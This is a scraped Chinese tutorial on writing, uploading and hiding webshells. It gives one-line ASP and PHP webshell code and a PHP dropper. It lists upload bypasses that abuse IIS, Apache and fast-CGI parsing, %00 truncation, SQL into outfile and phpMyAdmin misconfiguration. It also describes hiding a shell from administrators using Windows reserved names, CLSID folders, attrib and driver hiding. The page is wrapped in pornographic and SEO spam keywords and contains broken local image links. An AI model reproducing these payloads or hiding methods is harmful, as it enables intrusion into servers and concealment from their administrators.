国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學(xué)院 > 開發(fā)設(shè)計 > 正文

Webshell實現(xiàn)與隱藏探究

2019-11-15 02:19:42
字體:
供稿:網(wǎng)友
Webshell實現(xiàn)與隱藏探究一、什么是webshell
  1. webshell簡介

webshell,顧名思義:web指的是在web服務(wù)器上,而shell是用腳本語言編寫的腳本程序,webshell就是就是web的一個管理 工具,可以對web服務(wù)器進行操作的權(quán)限,也叫webadmin。webshell一般是被網(wǎng)站管理員用于網(wǎng)站管理、服務(wù)器管理等等一些用途,但是由于 webshell的功能比較強大,可以上傳下載文件,查看數(shù)據(jù)庫,甚至可以調(diào)用一些服務(wù)器上系統(tǒng)的相關(guān)命令(比如創(chuàng)建用戶,修改刪除文件之類的),通常被 黑客利用,黑客通過一些上傳方式,將自己編寫的webshell上傳到web服務(wù)器的頁面的目錄下,然后通過頁面訪問的形式進行入侵,或者通過插入一句話 連接本地的一些相關(guān)工具直接對服務(wù)器進行入侵操作。

  1. webshell的分類
webshell根據(jù)腳本可以分為php腳本木馬,asp腳本木馬,也有基于.NET的腳本木馬和jsp腳本木馬。在國外,還有用python腳本語言寫的動態(tài)網(wǎng)頁,當然也有與之相關(guān)的webshell。根據(jù)功能也分為大馬與小馬,小馬通常指的一句話木馬,例如:<%eval request(“pass”)%>通常把這句話寫入一個文檔里面,然后文件名改成xx.asp。然后傳到服務(wù)器上面。這里eval方法將 request(“pass”)轉(zhuǎn)換成代碼執(zhí)行,request函數(shù)的作用是應(yīng)用外部文件。這相當于一句話木馬的客戶端配置。服務(wù)器配置(即本機配置):Default
123456789101112131415161718<form action=http://主機路徑/TEXT.asp method=post><textarea name=value cols=120 rows=10 width=45>set lP=server.createObject("Adodb.Stream")//建立流對象 lP.Open //打開 lP.Type=2 //以文本方式 lP.CharSet="gb2312" //字體標準 lP.writetext request("newvalue")lP.SaveToFile server.mappath("newmm.asp"),2 //將木馬內(nèi)容以覆蓋文件的方式寫入newmm.asp,2就是已覆 蓋的方式 lP.Close //關(guān)閉對象 set lP=nothing //釋放對象 response.redirect "newmm.asp" //轉(zhuǎn)向newmm.asp</textarea><textarea name=newvalue cols=120 rows=10 width=45>(添入生成木馬的內(nèi)容)</textarea><BR><center><br><input type=submit value=提交>
這里通過提交表單的方式,將木馬提交上去,具體的做法是將定義一個對象ip,然后以文本方式寫入newvalue里 面的內(nèi)容(newvalue的內(nèi)容在textarea定義),寫入以覆蓋的方式產(chǎn)生ASP文件,然后執(zhí)行這個腳本。其中客戶端中的value代表的是表單 的名字,必須跟服務(wù)端(本機)的post提交中的表單名一樣,所以這里的value可以為任意字符,相當于一個密碼之類的東西,但是這個‘密碼’是明文 的,可以截取下來。PHP的一句話原理跟以上的原理差不多,就是語言的差別導(dǎo)致語法不同。這就是小馬的基本工作原理。

大馬的工作模式簡單的多,他沒有客戶端與服務(wù)端的區(qū)別,就是一些腳本大牛直接把一句話木馬的服務(wù)端整合到了一起,通過上傳漏洞將大馬上傳,然后復(fù)制 該大馬的url地址直接訪問,在頁面上執(zhí)行對web服務(wù)器的滲透工作。但是有些網(wǎng)站對上傳文件做了嚴格的限制,因為大馬的功能較多,所以體積相對較大,很 有可能超出了網(wǎng)站上傳限制,但是小馬的體積可以控制(比如把代碼復(fù)制很多遍,或者在一個亂碼文件中夾入代碼),但是小馬操作起來比較繁瑣,可以先上傳小馬 拿到webshell,然后通過小馬的連接上傳大馬拿到服務(wù)器。

二、如何上傳webshell1.解析漏洞上傳現(xiàn)在對于不同的web服務(wù)器系統(tǒng)對應(yīng)的有不同的web服務(wù)端程序,windows端主流的有iis,linux端主流的有nginx。這些服務(wù)對搭建web服務(wù)器提供了很大的幫助,同樣也對服務(wù)器帶來隱患,這些服務(wù)器上都存在一些漏洞,很容易被黑客利用。(1)iis目錄解析漏洞比如:/xx.asp/xx.jpg雖然上傳的是JPG文件,但是如果該文件在xx.asp文件夾下,那個iis會把這個圖片文件當成xx.asp解析,這個漏洞存在于iis5.x/6.0版本。(2)文件解析漏洞

比如:xx.asp;.jpg。在網(wǎng)頁上傳的時候識別的是jpg文件,但是上傳之后iis不會解析;之后的字符,同樣會把該文件解析成asp文件,這個漏洞存在于iis5.x/6.0版本。

(3)文件名解析比如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer文件,cdx文件,asa文件都會被當成可執(zhí)行文件,里面的asp代碼也同樣會執(zhí)行。(其中asa文件是asp特有的配置文件,cer為證書文件)。(4)fast-CGI解析漏洞

在web服務(wù)器開啟fast-CGI的時候,上傳圖片xx.jpg。內(nèi)容為:

Default
1<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>

這里使用的fput創(chuàng)建一個shell.php文件,并寫入一句話。訪問路徑xx.jpg/.php,就會在該路徑下生成一個一句話木馬 shell.php。這個漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。語言環(huán)境:PHP,PRel,Bourne Shell,C等語言。

*注:fast-CGI是CGI的升級版,CGI指的是在服務(wù)器上提供人機交互的接口,fast-CGI是一種常駐 型的CGI。因為CGI每次執(zhí)行時候,都需要用fork啟用一個進程,但是fast-CGI屬于激活后就一直執(zhí)行,不需要每次請求都fork一個進程。比 普通的CGI占的內(nèi)存少。(5)apache解析漏洞apache解析的方式是從右向左解析,如果不能解析成功,就會想左移動一個,但是后臺上傳通常是看上傳文件的最右 的一個后綴,所以根據(jù)這個,可以將馬命名為xx.php.rar,因為apache解析不了rar,所以將其解析為php,但是后臺上傳點就將其解析為 rar,這樣就繞過了上傳文件后綴限制2.截斷上傳在上傳圖片的時候,比如命名1.asp .jpg(asp后面有個空格),在上傳的時候,用NC或者burpsuite抓到表單,將上傳名asp后面加上%00(在burpsuite里面可以直接編輯HEX值,空格的HEX值為20,將20改為00),如果HEX為00的時候表示截斷,20表示空格,如果表示截斷的時候就為無視腳本中的JPG驗證語句,直接上傳ASP。3.后臺數(shù)據(jù)庫備份在一些企業(yè)的后臺管理系統(tǒng)中,里面有一項功能是備份數(shù)據(jù)庫(比如南方cms里面就有備份數(shù)據(jù)庫的功能)。可以上傳一 張圖片,圖片里面含有一句話木馬,或者將大馬改成jpg格式,然后用數(shù)據(jù)庫備份功能,將這張圖片備份為asp等其他內(nèi)容可以被解析為腳本語句的格式,然后 再通過web訪問就可以執(zhí)行木馬了,但是這種方法很老了,現(xiàn)在大多數(shù)的cms已經(jīng)把這種備份的功能取消了,或者禁用了。4.利用數(shù)據(jù)庫語句上傳(1) MySQL數(shù)據(jù)庫into outfile這種方式的前提必須是該網(wǎng)站有相應(yīng)的注入點,而且當前用戶必須要有上傳的權(quán)限,而且必須有當前網(wǎng)頁在服務(wù)器下的絕對路徑。方法是用聯(lián)合查詢,將一句話木馬導(dǎo)入到網(wǎng)站下邊的一個php文件中去,然后使用服務(wù)端連接該網(wǎng)站。但是上述方法條件過于苛刻,一般遇到的情況很少。(2)建立新表寫入木馬一些開源cms或者自制的webshell會有數(shù)據(jù)庫管理功能,在數(shù)據(jù)庫管理功能里面有sql查詢功能,先使用 create table shell(codetext);創(chuàng)建一個名字叫做shell的表,表里面有列明叫做code,類型為text。然后使用insert into shell(code) values(‘一句話馬’),這里講shell表中的code列賦值為一句話的馬,然后通過自定義備份,將該表備份為x.php;x然后就被解析成為 php然后執(zhí)行了,這里不是x.php;x就一定能夠解析為php,不同的web服務(wù)器上面的服務(wù)程序不同,然后過濾規(guī)則也不同,可能會使用其他的方式。(3)phpMyadmin設(shè)置錯誤phpMyadmin用來管理網(wǎng)站數(shù)據(jù)庫的一個工具,其中config.inc.php為其配置文件,在查看的該文 件的時候,如果$cfg[‘Servers’][$i][‘auth_type’]參數(shù)的值設(shè)置沒有設(shè)置(默認為config)說明在登陸數(shù)據(jù)庫的時候沒 有做相應(yīng)的驗證,可以直接連入數(shù)據(jù)庫,而且在Mysql在一些版本下面默認登陸都是以root用戶進行登陸(即管理員),所以登陸進去為最大權(quán)限。但是 root一般只能本地登陸,所以必須創(chuàng)建一個遠程登陸用戶。用遠程登陸用戶登陸之后,創(chuàng)建一個表,然后再將一句話木馬寫入。三、webshell的“安全”1.關(guān)于webshell的隱藏在上傳webshell的時候必須要進行webshell的隱藏工作。隱藏webshell,第一個目的是不讓網(wǎng)站管理員發(fā)現(xiàn)馬將其刪掉,第二個目的是為了不被其他的Hacker發(fā)現(xiàn)了這個文件并加以利用。(1)大馬的隱藏①不死僵尸

windows系統(tǒng)存在系統(tǒng)保留文件夾名,windows不允許用這些名字來命名文件夾保留文件 夾:aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt。 但是這些可以使用windows的copy命令創(chuàng)建,比如:

Default
1c:/>copy 3.asp //./C:/aux.asp

file:///C:/Users/SAKAIY~1/AppData/Local/Temp/msohtmlclip11/clip_image020.png

file:///C:/Users/SAKAIY~1/AppData/Local/Temp/msohtmlclip11/clip_image022.jpg
在c盤中創(chuàng)建一個aux.asp。這個文件無法在圖像界面下刪除。
file:///C:/Users/SAKAIY~1/AppData/Local/Temp/msohtmlclip11/clip_image023.png
要刪除必須使用del命令。
file:///C:/Users/SAKAIY~1/AppData/Local/Temp/msohtmlclip11/clip_image024.png
刪除了之后是沒有提示的,但是文件確實沒有了。當然用這樣的方法雖然可以創(chuàng)建一個圖形界面無法刪除的webshell,但是如果直接放在網(wǎng)頁根目錄下,被有經(jīng)驗的網(wǎng)管看到還是回刪除的。②clsid隱藏windows每一個程序都有一個clsid,如果將一個文件夾命名為x.{程序clsid},然后輸入一下兩條命令:
file:///C:/Users/SAKAIY~1/AppData/Local/Temp/msohtmlclip11/clip_image026.jpg
創(chuàng)建后
file:///C:/Users/SAKAIY~1/AppData/Local/Temp/msohtmlclip11/clip_image027.png

點開進入的是控制面板,但是其實該文件還是文件夾,里面還存在大馬,而且創(chuàng)建一個這樣一個帶有clsid的文件夾將其命名為相應(yīng)的程序可以迷惑網(wǎng)絡(luò) 管理員的實現(xiàn),比如進入回收站文件夾中創(chuàng)建這樣一個帶有回收站clsid的文件夾,在里面里面再copy一個保留字asp,還可以使用

Default
1attrib +h +s +r +d/s /d

修改該文件的屬性,將其隱藏,一般windows都是默認不顯示隱藏文件的,而且回收站文件夾是自動創(chuàng)建的,這樣可以達到隱藏一個不死webshell到服務(wù)器中去。

③驅(qū)動隱藏技術(shù)原理是在于,在windows文件系統(tǒng)中,打開文件夾的時候系統(tǒng)會發(fā)送一個 IRP_MJ_DIRECTORY_CONTROL函數(shù),這個函數(shù)可以分配一個緩沖區(qū),將該文件夾下的子文件夾遍歷處理得到的信息存放至緩沖區(qū),在遍歷的 時候,尋找匹配的文件名,如果文件名匹配,就繞過當前文件夾或者文件,對于繞過的原理,我查詢了下代碼,根據(jù)我的理解,它是根據(jù)將遍歷的指針在查詢到目標 文件的時候,加上該文件的偏移量,不掃描目標文件夾,直接跳過。對于這種技術(shù)的實施,雖然網(wǎng)上很多C的源碼,但是操作起來有一定的困難,因為頭文件的支持,還有系統(tǒng)的支持(不同系統(tǒng)的文件系統(tǒng)會不同),在網(wǎng)上查找到了Easy File Locker程序,需要將其安裝至web服務(wù)器上,對目標文件設(shè)置權(quán)限。Default
主站蜘蛛池模板: 邢台县| 庄浪县| 峡江县| 汾阳市| 韶关市| 乌拉特前旗| 葵青区| 通辽市| 张家口市| 嵊泗县| 英吉沙县| 渭源县| 阜新市| 横山县| 侯马市| 邯郸县| 漳平市| 南丰县| 当雄县| 涪陵区| 金乡县| 博爱县| 瓦房店市| 博客| 宜章县| 德阳市| 景宁| 上栗县| 镇雄县| 天气| 鲁山县| 新邵县| 新化县| 张家界市| 镇平县| 滨海县| 延安市| 金山区| 长治县| 镇安县| 观塘区|